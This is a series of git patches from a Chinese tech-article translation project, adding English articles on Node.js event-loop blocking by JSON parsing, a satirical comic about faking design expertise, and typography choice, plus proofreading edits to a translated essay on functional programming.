+**It is not just React, but string operations in general.** If you are building JSON REST APIs, you should always pay attention to `JSON.parse` and `JSON.stringify`.
+
+As Shubhra Kar from Strongloop (now Joyent) explained, parsing and stringifying huge payloads can take a lot of time as well *(and blocking the event loop in the meantime)*.
+
+```
+functionrequestHandler(req, res) {  
+  const body = req.rawBody
+  let parsedBody
+  try {
+    parsedBody = JSON.parse(body)
+  }
+  catch(e) {
+     res.end(newError('Error parsing the body'))
+  }
+  res.end('Record successfully received')
+}
+
+```
+
+*Simple request handler*
+
+The example above shows a simple request handler, which just parses the body. For small payloads, it works like a charm - however, **if the JSON's size can be measured in megabytes, the execution time can be seconds** instead of milliseconds. The same applies for `JSON.stringify`.
+
+To mitigate these issues, first, you have to know about them. For that, you can use Matteo's [loopbench](https://github.com/mcollina/loopbench) module, or [Trace](https://trace.risingstack.com)'s event loop metrics feature. 
+
+With `loopbench`, you can return a status code of 503 to the load balancer, if the request cannot be fulfilled. To enable this feature, you have to use the `instance.overLimit` option. This way ELB or NGINX can retry it on a different backend, and the request may be served.
+
+Once you know about the issue and understand it, you can start working on fixing it - you can do it either by leveraging Node.js streams or by tweaking the architecture you are using.
+
+### Takeaways from nearForm ###
+
+- **Always pay attention to CPU bound operations** - the more you have, to more pressure you put on your event loop.
+- **String operations are CPU-heavy operations**
+
+## Debugging Node.js Issues in Production ##
+
+I hope these examples from Netflix, RisingStack & nearForm will help you to debug your Node.js apps in Production.
+
+If you'd like to learn more, I recommend checking out these recent posts which will help you to deepen your Node knowledge:
+
+- [Case Study: Finding a Node.js Memory Leak in Ghost](https://blog.risingstack.com/case-study-node-js-memory-leak-in-ghost/)
+- [Understanding the Node.js Event Loop](https://blog.risingstack.com/node-js-at-scale-understanding-node-js-event-loop/)
+- [Node.js Garbage Collection Explained](https://blog.risingstack.com/node-js-at-scale-node-js-garbage-collection/)
+- [Node.js Async Best Practices & Avoiding the Callback Hell](https://blog.risingstack.com/node-js-async-best-practices-avoiding-callback-hell-node-js-at-scale/)
+- [Event Sourcing with Examples in Node.js](https://blog.risingstack.com/event-sourcing-with-examples-node-js-at-scale/)
+- [Getting Node.js Testing and TDD Right](https://blog.risingstack.com/getting-node-js-testing-and-tdd-right-node-js-at-scale/)
+- [10 Best Practices for Writing Node.js REST APIs](https://blog.risingstack.com/10-best-practices-for-writing-node-js-rest-apis/)
+- [Node.js End-to-End Testing with Nightwatch.js](https://blog.risingstack.com/end-to-end-testing-with-nightwatch-js-node-js-at-scale/)
+- [The Definitive Guide for Monitoring Node.js Applications](https://blog.risingstack.com/monitoring-nodejs-applications-nodejs-at-scale/)
+
+If you have any questions, please let us know in the comments!
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From b9023e8cacdfb33bb8c88afcf87c7ecd835645b1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 12 Apr 2017 23:02:42 +0800
Subject: [PATCH 130/638] Create how-to-pretend-youre-a-great-designer.md

---
 TODO/how-to-pretend-youre-a-great-designer.md | 139 ++++++++++++++++++
 1 file changed, 139 insertions(+)
 create mode 100644 TODO/how-to-pretend-youre-a-great-designer.md

diff --git a/TODO/how-to-pretend-youre-a-great-designer.md b/TODO/how-to-pretend-youre-a-great-designer.md
new file mode 100644
index 00000000000..251eb10769f
--- /dev/null
+++ b/TODO/how-to-pretend-youre-a-great-designer.md
@@ -0,0 +1,139 @@
+> * 原文地址：[How to pretend you’re a great designer](https://thedesignteam.io/how-to-pretend-youre-a-great-designer-3625de90d79f)
+> * 原文作者：[Pablo Stanley](https://thedesignteam.io/@pablostanley?source=post_header_lockup)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+# How to pretend you’re a great designer #
+
+## Practical tips and principles to trick people into thinking you’re an industry thought leader. ##
+
+![](https://cdn-images-1.medium.com/max/1000/1*8ted6GIeOq2hxnr9cxwtMw.gif)
+
+Gabrielle will use delight until your pupils explode
+
+### **Distract with delight** ###
+
+Don’t know how to justify your excessive use of animations, clever copy, or generic *cute* illustrations? Just throw the word “delight” in the mix! Talk about how you understand the user’s psychology–how you’re creating an experience people will love. Who cares if your solution is not functional, expensive to build, or if there’s no data to back up your intuition. Remind everyone that you’re building a lasting and emotional connection with the user.
+
+***PRO TIP:*** *Show everyone a graph of Maslow’s Hierarchy of Needs and point out how the warm-and-fuzzy stuff is on the top.*
+
+
+![](https://cdn-images-1.medium.com/max/1000/1*U0hzgnxBdy6UWp-9mJsIOQ.gif)
+
+Toby is a walking jargon-encyclopedia.
+
+### Confuse them using industry language ###
+
+Never mind that part of your job is making things easy to understand. Use phrases like *“A holistic approach”* or *“brand storytelling”* or other jargon that will keep people scratching their heads, afraid to ask what that even means. The more buzzwords you use, the less you have to explain your actual design thinking.
+
+If a stakeholder asks about your reasoning for a design, just say something like *“It’s social-minded, guided by our brand values, and built with personality to engage our users through empathy and emotional design”*, even when you’re just designing a coupon input box.
+
+
+![](https://cdn-images-1.medium.com/max/1000/1*QsVGLGmSStDhlhNY_LKM9w.gif)
+
+Fran advises to be, above all, consistent!
+
+### Use Consistency as your ONLY guiding principle ###
+
+Ignore context––consistency is more important! Your users might have become familiar with iOS, Android, or web patterns but those patterns go against your style guide. You have to be consistent, even if it means the user needs to learn new ways of doing things––they have to check out your unique and sophisticated drop-down menu.
+
+If your PM asks for a design that is best suited for mobile, just say that you’re striving for consistency. And, can’t the developer just make everything responsive and stuff? Being consistent allows you to not think of different solutions for specific scenarios––you can just copy-paste from the kitchen sink and call it a day!
+
+![](https://cdn-images-1.medium.com/max/1000/1*hm7Fr-D0-u4Rav6Og-hmLA.gif)
+
+Paul understands aesthetics
+
+### **Make aesthetics a priority over functionality** ###
+
+Forget about solving the problem with a flow that actually works. Obviously, you just need to copy all those flashy, unpractical effects you saw on Dribbble and apply them to your design. Who cares if research shows that sole icons are inefficient and hard to memorize or that stock photos rarely add value? Stakeholders will be so wowed by all the bouncy animations, Apple-like white space, and left-aligned Swiss types that no one will question if it even works.
+
+![](https://cdn-images-1.medium.com/max/1000/1*BVWmKNOrZ5uVQs9YU2Hw-Q.gif)
+
+Gabrielle uses her magic to turn other products’ solutions into her own!
+
+### **Learn (copy) from the best** ###
+
+Don’t know how to solve a problem? Just replicate the solution from Amazon, Apple, or Facebook and apply your own style on top of it. When someone challenges you, just say *“that’s how Amazon does it”*. That will teach them to keep questions to themselves next time! If it worked for Amazon, it must work for you, right? Who cares if you’re not even a marketplace or e-commerce product.
+
+![](https://cdn-images-1.medium.com/max/1000/1*_rH6r2v-eKIY9doQOz86jw.gif)
+
+Claude knows how to make a pie chart!
+
+### **Use research bias** ###
+
+Do you have to justify that design that you spent time on all week? Just create a beautiful graph with cherry-picked data from a survey or test you conducted. The bigger the numbers, the more you’ll impress people with your interpretation!
+
+If anyone asks to see your methods or sources or wants to see the raw data, just tell them you should take that conversation offline and avoid them for the rest of the month.
+
+***PRO TIP:*** *If you have the skills, make a spurious correlation slide that will have everyone nodding their heads. E.g. “The bounce rate of our landing page correlates with the downloads of Pokemon Go, therefore, we should add Augmented Reality to our page”.*
+
+![](https://cdn-images-1.medium.com/max/1000/1*mgeKX-DlW-obHhFUGBB6xA.gif)
+
+Fran looks at her work in deep silence.
+
+### **Make people think you’re busy** ###
+
+There’s nothing better than having a wall full of other people’s work to impress passers-by. Print screenshots of other products and call it “competitive analysis”. Add all your Pinterest pins from other talented designers and call it “inspiration”. Make collages of all the terrible iterations you explored and call it “ideation”. Go for quantity, not quality. It doesn’t matter if what’s pinned to the wall makes any sense or if there’s any actual substance. The important thing is to make people believe that you have a creative and busy mind.
+
+***PRO TIP:*** *Stare at the wall for hours in silence. Your coworkers will think you’re really contemplative.*[*Draw eyes on your eyelids*](https://www.youtube.com/watch?v=U6qBnykH0DU) *and you can sleep while doing this.*
+
+![](https://cdn-images-1.medium.com/max/1000/1*gB-SyYrl3WXBYDW2Up7lWQ.gif)
+
+Petunia is becoming a great designer!
+
+### Use ambiguous visuals ###
+
+Everybody can draw a Venn Diagram, but can they do it with perfect equilateral triangles?
+
+Impress your coworkers with a double ▲▲ or a triple▲▲▲ triangle diagram. It won’t only make everyone nod at your confusing concepts, but it will establish you as a creative mind that uses simplicity to explain complex ideas.
+
+***PRO TIP:*** *Always put the word “VALUE” in the overlapping area of the diagram!*
+
+![](https://cdn-images-1.medium.com/max/1000/1*VImvvTlomv4aX8E_UbUlUQ.gif)
+
+Paul knows how to create a tailor-made product.
+
+### **Misinterpret Human-Centered Design** ###
+
+You’re not a modern designer if you don’t use Human-Centered Design (HCD for pros). And when I say “use”, I actually mean “talk about it”. Lecture everyone about how they need to understand the needs and abilities of the users. How building empathy is crucial to creating meaningful products. Who cares if other things have been successfully designed in the past without this approach? Don’t bother if this process might not be the best for you. Never mind if tailoring a product to a certain demographic can alienate others. It doesn’t matter if sometimes it’s in the user’s best interest if you ignore their suggestions. Better to impress everyone with how deeply you *care* about the user.
+
+![](https://cdn-images-1.medium.com/max/1000/1*J0AFQkt36gUyNqjaFm3lIw.gif)
+
+Paul sure understands his main user.
+
+### **Stay focused on your market, which is you** ###
+
+Oh, crap. They actually believed you on the whole human-centered thing and now they want an accessible design? Don’t worry, just point out that making a site accessible can take a long time and money. Say that your target market has state-of-the-art computers and internet connection, and they’re all healthy millennials that never even see the doctor. How do you know? You’re one of them! You’re exactly like your users!
+
+And, let’s be honest, accessible design could keep you away from all those marvelous scroll-jacking animations you added to your landing page.
+
+> Text labels? Ugly!
+> High contrast combinations? Awful!
+> Clear navigation? Despicable!
+
+Don’t concern yourself with reaching a bigger audience by making your design accessible, or with how it actually improves usability or makes your site SEO friendly. You need those parallax animations and that subtle low-contrast color palette that works only on a thunderbolt display.
+
+### On a serious note ###
+
+While all of these “tips” are meant to be tongue-in-cheek, they illustrate sins I myself have committed in the past. And I could say that it’s just a byproduct of how we’re all figuring stuff out as we go. That we’re experimenting with different things, seeing what works and what doesn’t–adapting to the ever-changing user’s needs and technology. And all would be understandable on the surface, but deep down, I have to admit… I sometimes don’t know if what I’m doing is right.
+
+Do you ever feel like that? Fear of the moment when everyone realizes you’re some kind of fraud? That you’re in the process of faking-it-till-you-make-it? I recently learned they call it the “Impostor Syndrome”. I had never felt this as strongly as when I moved to San Francisco. As soon as I started working at a startup, I realized there was a lot I needed to learn. I found myself feeling insecure and lost–utilizing my charm to get other people’s approval. I didn’t think my design work was enough.
+
+But anyway, I believe it’s getting better. Or at least I’ve gotten better at pretending.
+
+**The Design Team**
+
+New comic every other Taco Tuesday at[thedesignteam.io](http://thedesignteam.io)
+[Subscribe](http://eepurl.com/cbWwtz) to get my spam.I’m [Pablo Stanley](https://twitter.com/pablostanley) . Among many things, I teach [courses on design](https://www.youtube.com/c/sketchtogethertv) , and I work on a healthcare startup called [Carbon Health](https://carbonhealth.com/).
+
+Thanks to [Courtney M. Sawyer](https://medium.com/@courtneymsawyer) , [Michael Lorton](https://medium.com/@michaellorton) , [Edgar chaparro](https://medium.com/@Echaparro), and [Frances Tung](https://medium.com/@francestung) for all their support.
+
+> [Read Previous: The Design Process](https://thedesignteam.io/the-design-process-67df3e8ec68f#.lv47slyvv) 
+> [Another cool one: From a Product Perspective](https://thedesignteam.io/from-a-product-perspective-2f5185a43827) 
+> [The First One: The Onboard-a-Buddy](https://medium.com/the-design-team/the-onboard-a-buddy-71169e460f04#.iru2t3tub) 
+
+Thanks to Edgar Chaparro, Michael Lorton, and Courtney Sawyer.
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From e2175dfb7fddff557904baa0e1c2d784bb3336bc Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 12 Apr 2017 23:15:51 +0800
Subject: [PATCH 131/638] Create typography-can-make-your-design-or-break-it.md

---
 ...graphy-can-make-your-design-or-break-it.md | 218 ++++++++++++++++++
 1 file changed, 218 insertions(+)
 create mode 100644 TODO/typography-can-make-your-design-or-break-it.md

diff --git a/TODO/typography-can-make-your-design-or-break-it.md b/TODO/typography-can-make-your-design-or-break-it.md
new file mode 100644
index 00000000000..27c0f37a49f
--- /dev/null
+++ b/TODO/typography-can-make-your-design-or-break-it.md
@@ -0,0 +1,218 @@
+> * 原文地址：[Typography can make your design… or it can break it](https://medium.freecodecamp.com/typography-can-make-your-design-or-break-it-7be710aadcfe)
+> * 原文作者：[Jonathan Z. White](https://medium.freecodecamp.com/@JonathanZWhite?source=post_header_lockup)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+![](https://cdn-images-1.medium.com/max/1000/1*BVoyx8ImTwpRv36xVy6RyQ.png)
+
+# Typography can make your design… or it can break it. #
+
+One of the most important skills you can learn as a designer is how to choose type. This is because **text is one of the primary ways designers can communicate with users.** Typography can make or break a design.
+
+There’s a beauty and complexity to typography. Some people devote their entire careers to type. Thankfully, their work is well documented, so we have tons of online resources for typography.
+
+This article is designed to serve as a starting point for helping you learn how to choose type for your designs. It will encourage you to explore fonts and font combinations beyond those you’re familiar with.
+
+
+### Identify your purpose ###
+
+Before you do anything else, first identify the purpose of your design. What information do you want to convey? What is the medium for your design?
+
+**Good design aligns its typography with its purpose.** This is because typography is key to setting mood, tone, and style in your designs.
+
+For example, if you are designing a greeting card that’s illustration heavy, choose a font that fits the style of your illustration. Harmonize your type with the rest of your design.
+
+![](https://cdn-images-1.medium.com/max/1000/1*J4sjruq6WffKZR0ukOFNxw.jpeg)
+
+[Choose a font that suits the style of your illustration](https://dribbble.com/shots/3403715-Little-Tokyo-Los-Angeles/attachments/743158)
+
+If you’re designing an image-driven landing page, choose a simple font that doesn’t detract from your images. Use type as a way to emphasize information to communicate meaning.
+
+![](https://cdn-images-1.medium.com/max/800/1*3hkvdEybfIT3cgad20quEw.png)
+
+[If images are the focus of your design, choose simple fonts so that the images stand out](https://dribbble.com/shots/3416904-Stripe-Atlas)
+
+### Identify your audience ###
+
+After determining the purpose of your design, identify your audience. This step is crucial because age and interest will influence your font options.
+
+After clarifying the purpose of your design, identify your audience. This step is crucial because **information about your users such as age, interests, and cultural upbringing could influence the decisions you make for your type.**
+
+For example, some fonts are more appropriate for children. When learning to read, children need highly legible fonts with generous letter shapes. A good example of this is [Sassoon Primary](https://www.myfonts.com/fonts/mti/sassoon/). Sassoon Primary was developed by [Rosemary Sassoon](https://en.wikipedia.org/wiki/Rosemary_Sassoon) and based on her research into what kind of letters children found easy to read.
+
+![](https://cdn-images-1.medium.com/max/800/1*25G6PgjrO44fepoou-a8kg.png)
+
+[Sassoon Primary was developed Rosemary Sassoon](http://www.sassoonfont.co.uk/aboutsassoon.html) 
+
+Other fonts are more appropriate for seniors. Senior-friendly fonts use readable sizes, high contrasting colors, and avoid scripts and decorative styles.
+
+When choosing type, take into account your audience and their needs. Simply put, **empathize with your users**.
+
+### Look for inspiration ###
+
+Look at the work of other designers. Try understand how they made their decisions for type.
+
+#### Font Inspiration ####
+
+For font inspiration, [The 100 Best Free Fonts](http://www.creativebloq.com/graphic-design-tips/best-free-fonts-for-designers-1233380) by CreativeBloq is a great article to put you in the right mindset for choosing type. In the article, CreativeBloq explains the motivations behind each font.
+
+Another useful resource is [100 Greatest Free Fonts Collection for 2015](https://www.awwwards.com/100-greatest-free-fonts-collection-for-2015.html)  by Awwwards.
+
+Invision also compiled a [giant repo of typography resources](http://blog.invisionapp.com/free-typography-resources/?imm_mid=0ef3cd&amp;cmp=em-web-na-na-newsltr_20170322) . You’ll find lots of sources for inspiration there.
+
+![](https://cdn-images-1.medium.com/max/1000/1*fevzbXE7wwbwEt186SHmew.png)
+
+[Typ.io curates font inspiration from around the web](http://typ.io/)
+
+For inspiration from actual websites, check out [Typ.io](http://typ.io/). The site curates font inspiration from around the web. In addition, the site provides CSS font definitions at the bottom of each inspiration sample.
+
+Asides from looking at dedicated font inspiration websites, visit your favorite sites and check out what fonts they use. A good tool for this is [WhatTheFont](https://chrome.google.com/webstore/detail/whatfont/jabopobgcpjmedljpbcaablpmlmfcogm?hl=en) . WhatTheFont is a Chrome extension that lets you inspect web fonts by hovering over them.
+
+#### Pairing Inspiration ####
+
+Beyond just fonts, also look at font pairing inspiration. Font pairing is just as important as the fonts themselves. Good font pairing helps establish visual hierarchy and improve the readability of your designs.
+
+![](https://cdn-images-1.medium.com/max/1000/1*MVyB8tT4xlLZ4pXZ_SXx8Q.png)
+
+[Font pairing is just as important as the fonts themselves](https://www.typewolf.com/site-of-the-day/new-american-economy) 
+
+For inspiration, start with [Typewolf](https://www.typewolf.com/). Typewolf curates font pairing inspiration from different sites. Beyond that, they also have font recommendations and in-depth typography guides. It’s a treasure trove for typographers.
+
+[FontPair](http://fontpair.co/) also curates font pairing inspiration, specifically for [Google Fonts](https://fonts.google.com/) . You can sort by type style combinations such as sans-serif and serif, or serif and serif.
+
+![](https://cdn-images-1.medium.com/max/1000/1*MAfGLpDsPhPjQKPjgwbsbA.png)
+
+Lastly, there are tons of font pairing collections created by designers online. For example[Typography: Google Fonts Combinations](https://www.behance.net/gallery/35768979/Typography-Google-Fonts-Combinations) and [Typography:Google Fonts Combinations Volume 2](https://www.behance.net/gallery/41054815/Typography-Google-Fonts-Combinations-Volume-2). Just search “font pairing” on sites like [Behance](https://www.behance.net/) and [Dribbble](https://dribbble.com/).
+
+### Choose your fonts ###
+
+Armed with research and inspiration, you are ready to choose your type. When it comes to choosing type, keep the following principles in mind: **readability, legibility, and purpose**.
+
+![](https://cdn-images-1.medium.com/max/1000/1*5mhptSeNTRmPKD-A12dDhg.png)
+
+[Before choosing a font, research into its intended purpose](https://www.typewolf.com/site-of-the-day/kvell)
+
+Choose fonts that are conventional and easy to read. Avoid highly decorative fonts in favor of simple and practical fonts. Also, be mindful of the purpose of a font. For example, some fonts are more suited to be headers rather than body text.
+
+For this reason, **before choosing a font, research its intended purpose.**
+
+![](https://cdn-images-1.medium.com/max/1000/1*9COkZCDVar_HxpC2FyIF3w.png)
+
+[Pair fonts that contrast one another](https://www.behance.net/gallery/41054815/Typography-Google-Fonts-Combinations-Volume-2)
+
+In terms of font pairing, keep it simple with a maximum of three different fonts. In addition, pair fonts that contrast one another. Doing so will help guide the eyes of readers, first to headers and then to body texts. **You can also create visual contrast using different font sizes, colors, and weights.**
+
+For web fonts, you can use [Google Fonts](https://fonts.google.com/), [Typekit](https://typekit.com/) , and [Font Squirrel](https://www.fontsquirrel.com/) . Google Fonts is free, Typekit and Font Squirrel have free and paid fonts.
+
+### Determine font sizes ###
+
+The next step after settling on a font combination is determining sizing. A great tool for this is [Modular Scale](http://www.modularscale.com/)  by [Tim Brown](https://twitter.com/timbrown?lang=en) , the head of typography at Adobe. Modular Scale is a system for identifying historically pleasing ratios to create scales to determine type sizes.
+
+![](https://cdn-images-1.medium.com/max/1000/1*XiKcg1uRlq-2Z8MYz7bzTA.png)
+
+[Modular Scale is a system for identifying historically pleasing ratios to create scales to determine type sizes](http://www.modularscale.com/)
+
+For example, you might use a scale based on the golden ratio. Here would be your first five computed font size options:
+
+```
+Golden Ratio (1:1.618)
+
+1.000 x 1.618     = 1.618
+1.618 x 1.618     = 2.618
+2.618 x 1.618     = 4.236
+4.236 x 1.618     = 6.854
+6.854 x 1.618     = 11.089
+```
+
+One issue that you might encounter is that your ratio is too large. Take a look at what happens to the later intervals of our scale based on the golden ratio.
+
+```
+Golden Ratio (1:1.618)
+
+...
+11.089 x 1.618    = 17.942
+17.942 x 1.618    = 29.03
+29.030 x 1.618    = 46.971
+46.971 x 1.618    = 75.999
+75.999 x 1.618    = 122.966
+```
+
+As you can see, the intervals between numbers start to become too large. For most interfaces, you need smaller intervals. Thankfully, [Modular Scale](http://www.modularscale.com/)  has a variety of ratios based on geometry, nature, and music.
+
+```
+Minor Second    15:16 
+Major Second    8:9
+Minor Third     5:6
+Major Third     4:5
+...
+```
+
+So instead of using the golden ratio, you can use a ratios that yield smaller intervals like the Perfect Fourth.
+
+```
+Perfect Fourth (3:4)
+
+...
+9.969  x 1.333     = 13.288
+13.288 x 1.333     = 17.713
+17.713 x 1.333     = 23.612
+23.612 x 1.333     = 31.475
+31.475 x 1.333     = 41.956
+41.956 x 1.333     = 55.927
+```
+
+Once you have settled on a scale, you can cherry pick font sizes from your list and round them to the nearest decimal.
+
+```
+Font Sizes
+
+Header 1: 55px
+Header 2: 42px
+Header 3: 31px
+Header 4: 24px
+Header 5: 14px
+
+Body: 17px
+Caption: 14px
+```
+
+The Modular Scale method uses mathematical precision in order to generate font sizes. However, it’s only a guide. **Use this method as a starting point and then adjust sizes with your eye.**
+
+### Create a typography styleguide ###
+
+The last step of the process is to create a styleguide for your typography to help standardize type across your designs.
+
+![](https://cdn-images-1.medium.com/max/1000/1*ekIKHSrO94ay_6q56XZysA.png)
+
+Shared styles in Sketch
+
+In programs like [Sketch](http://sketchapp.com/), you can create shared text styles to quickly insert text with styles already applied from your guideline.
+
+It’s during this step of the process that you can tweak and finalize your text attributes such as color, weight, and size.
+
+A word on color: when choosing color, take into account your color palette. **Choose colors for your type that harmonize with your color palette.**
+
+![](https://cdn-images-1.medium.com/max/1000/1*-xGeenSuQTpCLhVFxS08lA.png)
+
+[Use styleguides to standardize type across your designs](https://dribbble.com/shots/2641393-Organizer-UI-Styleguide) 
+
+In your styleguide, make sure to at least include the following things: font definitions, font sizes, font colors, and example usages.
+
+[Google’s Material Design typography guidelines](https://material.io/guidelines/style/typography.html) is a good example of what to include in a styleguide. A couple of other examples includes the typography guides of [Mailchimp](https://ux.mailchimp.com/patterns/typography) , [Apple](https://developer.apple.com/ios/human-interface-guidelines/visual-design/typography/) , and [Focus Labs](https://dribbble.com/shots/2909744-UI-Kit) .
+
+### **Typography is all about experimentation. It’s both a science and an art.** ###
+
+I challenge you to break out of your comfort zone and explore type in your design.
+
+What are your favorite fonts? Leave me a note or send me a [tweet](https://twitter.com/jonathanzwhite)  on Twitter.
+
+You can find me on Medium where I publish every week. Or you can follow me on [Twitter](https://twitter.com/JonathanZWhite) , where I post non-sensical ramblings about design, front-end development, and virtual reality.
+
+*P.S. If you enjoyed this article, it would mean a lot if you click the 💚 and share with friends.*
+
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From c16b85e7bd77014491693057fb15579e7010b261 Mon Sep 17 00:00:00 2001
From: gy134340 <guoyang134340@163.com>
Date: Wed, 12 Apr 2017 23:16:22 +0800
Subject: [PATCH 132/638] =?UTF-8?q?=E6=A0=A1=E5=AF=B9=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...ctional-programming-composable-software.md | 22 +++++++++----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md b/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
index 463b3cbdc66..e8c6153ae24 100644
--- a/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
+++ b/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md
@@ -1,8 +1,8 @@
 > * 原文地址：[The Rise and Fall and Rise of Functional Programming (Composing Software)(part 1)](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c)
 > * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
-> * 校对者：
+> * 译者：[gy134340](https://github.com/gy134340)
+> * 校对者：[avocadowang](https://github.com/avocadowang),[Aladdin-ADD](https://github.com/Aladdin-ADD)
 
 # 跌宕起伏的函数式编程（组成化软件）
 
@@ -12,9 +12,9 @@
 
 > 注意：这是从基础学习函数式编程和使用 JavaScript ES6+ 组成软件的第一部分。保持关注，接下来还有很多！
 
-当我 6 岁时，我花了很多时间跟我的小伙伴玩电脑游戏，他家里有一整房间的电脑。对于我说，那是及其不可抗拒的魔力。我花了很多时间探索所有的游戏。一天我问他，“我们怎样做一个游戏？”
+当我 6 岁时，我花了很多时间跟我的小伙伴玩电脑游戏，他家有一个装满电脑的房间。对于我说，它们有不可抗拒的魔力。我花了很多时间探索所有的游戏。一天我问他，“我们怎样做一个游戏？”
 
-他不知道，所以我们问了他的老爸，他的老爸爬上一个很高的架子拿下来一本使用 Basic 编写的游戏书籍。就那样开始了我的编程之路。当公立学校开始教授代数时，我已经熟稔其中的概念了，因为编程基本上是代数。无论如何，它都是。
+他不知道，所以我们问了他的老爸，他的老爸爬上一个很高的架子拿下来一本使用 Basic 编写游戏的书籍。就那样开始了我的编程之路。当公立学校开始教授代数时，我已经熟稔其中的概念了，因为编程基本上是代数。无论如何，它都是。
 
 ### 软件组成化的兴起
 
@@ -28,11 +28,11 @@ lambda 表达式全是函数组成，依靠函数来编写软件是非常高效
 
 有三点造就了 lambda 表达式的特别之处：
 
-1. 函数都是匿名的，在 JavaScript 中，右边的 `const sum = (x, y) => x + y` 等同于匿名函数 `(x, y) => x + y`.
+1. 函数都是匿名的，在 JavaScript 中，表达式 `const sum = (x, y) => x + y` ，等同于一个匿名函数 `(x, y) => x + y`。
 2. lambda 表达式中的函数只接收一个参数。他们是一元的，如果你需要多个参数，函数将会接受一个输入返回一个调用下一个函数的函数，然后继续这样。非一元函数 `(x, y) => x + y` 可以被表示为一个像 `x => y => x + y` 的一元函数。这个把多元函数转换成一元函数的过程叫做柯里化。
-3. 函数是一级的，意味着函数可以作为参数传递给其他函数，同时函数可以返回函数。
+3. 函数是一等公民的，意味着函数可以作为参数传递给其他函数，同时函数可以返回函数。
 
-总的说来，这些特性形成使用函数作为初始模块的一个简单且具有表达性的方法来构造软件。在 JavaScript 中，函数的匿名和柯里化都是可选的特性。虽然 JavaScript 支持这些 lambda 表达式的重要属性，它却并不强制使用这些。
+总的说来，这些特性形成一个简单且具有表达性的方法来构造软件，即使用函数作为初始模块。在 JavaScript 中，函数的匿名和柯里化都是可选的特性。虽然 JavaScript 支持这些 lambda 表达式的重要属性，它却并不强制使用这些。
 
 这些经典的函数组成方法用一个函数的输出来作为另一个函数的输入，例如，对于组合：
 
@@ -78,7 +78,7 @@ lambda 表达式对软件设计产生了很大的影响，在 1980 年之前，
 
 ### 组合型软件的衰落
 
-在 1970 到 1980 中间的某段时间，软件的构造开始偏离简单的组合，成为一串线性的让计算机执行的指令。然后面向对象编程 — 一个伟大的关于组件的封装和信息传递的思想被流行的编程语言扭曲成为了特性的重用而采取的糟糕的继承层次和 *is-a* 关系。
+在 1970 到 1980 中间的某段时间，软件的构造开始偏离简单的组合，成为一串线性的让计算机执行的指令。然后面向对象编程 — 一个伟大的关于组件的封装和信息传递的思想被流行的编程语言扭曲了，变成为了特性的重用所采取的糟糕的继承层次和 *is-a* 关系。
 
 函数式编程语言退居二线：只有编程极客的痴迷、常春藤盟校的教授和一些幸运的学生可以在 1990 — 2010 年间逃离 Java 的强迫性学习。
 
@@ -86,7 +86,7 @@ lambda 表达式对软件设计产生了很大的影响，在 1980 年之前，
 
 ### 组合型软件的兴起
 
-在 2010 年左右，一些有趣的事情发生了：JavaScript 的崛起。在 2006 年左右，JavaScript 被广泛的看作玩具语言和被用制作浏览器中好玩的动画，但是它有一些隐藏饿及其强大的属性。即 lambda 表达式中最重要的特性。人们开始暗中讨论一个叫做 “函数式编程的” 酷东西。
+在 2010 年左右，一些有趣的事情发生了：JavaScript 的崛起。在大概 2006 年以前，JavaScript 被广泛的看作玩具语言和被用制作浏览器中好玩的动画，但是它里面隐藏着一些极其强大的特性。即 lambda 表达式中最重要的特性。人们开始暗中讨论一个叫做 “函数式编程的” 酷东西。
 
